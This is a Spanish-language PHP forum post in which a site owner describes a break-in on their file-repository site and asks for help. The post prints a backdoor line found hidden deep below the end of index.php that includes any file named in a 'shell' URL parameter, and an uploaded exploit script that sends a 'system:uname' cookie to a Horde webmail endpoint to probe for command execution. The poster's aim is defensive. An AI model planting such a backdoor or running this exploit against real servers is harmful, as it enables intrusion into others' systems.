Foros del Web » Programando para Internet » PHP »

PHP Medidas de seguridad / Modificaron mi index.php

Estas en el tema de PHP Medidas de seguridad / Modificaron mi index.php en el foro de PHP en Foros del Web. Tengo un servicio web en PHP que funciona como un repositorio de archivos y documentos. Recientemente, alguien subió un archivo ejecutable por el formulario de ...
  #1 (permalink)  
Antiguo 09/12/2013, 14:23
Avatar de rodrigoemece  
Fecha de Ingreso: septiembre-2011
Mensajes: 68
Antigüedad: 12 años, 6 meses
Puntos: 1
Pregunta PHP Medidas de seguridad / Modificaron mi index.php

Tengo un servicio web en PHP que funciona como un repositorio de archivos y documentos. Recientemente, alguien subió un archivo ejecutable por el formulario de subida de documentos. No tenía ninguna restricción, porque era un proyecto pequeño, en el que iba trabajando a los pocos en mis ratos libres y faltaban por definir ciertos aspectos. Pues bien, ese archivo .php no era accesible directamente escribiendo la URL entera (no se ejecutaba). Restringí cualquier subida que no fuese de los formatos que consideré oportunos (pdf, doc....) y añadí un log (no tenía). Sin embargo, ayer me di cuenta de que en el archivo principal de la página (index.php) unas quinientas líneas abajo del supuesto fin del archivo, había una sentencia que yo no había escrito:

Código PHP:
<?php if(isset($_GET["shell"])) include $_GET["shell"];
Con esta función, al añadir el parámetro en la URL como sigue:
Código PHP:
dominio.com/index.php?shell=ataque.php 
se puede cargar en la página el archivo php subido anteriormente y que no se podía acceder directamente.

Pues bien, mi pregunta es la siguiente. Por un lado, lo que más me interesa saber es como inyectaron esa sentencia en el archivo para poder establecer una protección (o que maneras existen de hacerlo).

Por otro lado quisiera saber que hace exactamente el posible exploit que subieron para atacar otra web (un gestor de correo universitario):
Código PHP:
<?php

require_once 'HTTP/Request2.php';

$request = new HTTP_Request2('https://servidordecorreo.com/horde3/services/javascript.php'HTTP_Request2::METHOD_GET);
$request->addCookie('href'"system:uname");

$request->setMethod(HTTP_Request2::METHOD_POST)
        ->
addPostParameter('app','horde')
        ->
addPostParameter('file','open_calendar.js');

try {
    
$response $request->send();
    if (
200 == $response->getStatus()) {
        echo 
$response->getBody();
    } else {
        echo 
'Unexpected HTTP status: ' $response->getStatus() . ' ' .
             
$response->getReasonPhrase();
    }
} catch (
HTTP_Request2_Exception $e) {
    echo 
'Error: ' $e->getMessage();
}
?>

Muchas gracias y saludos!

Última edición por rodrigoemece; 09/12/2013 a las 15:22

Etiquetas: hack, injection
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 14:36.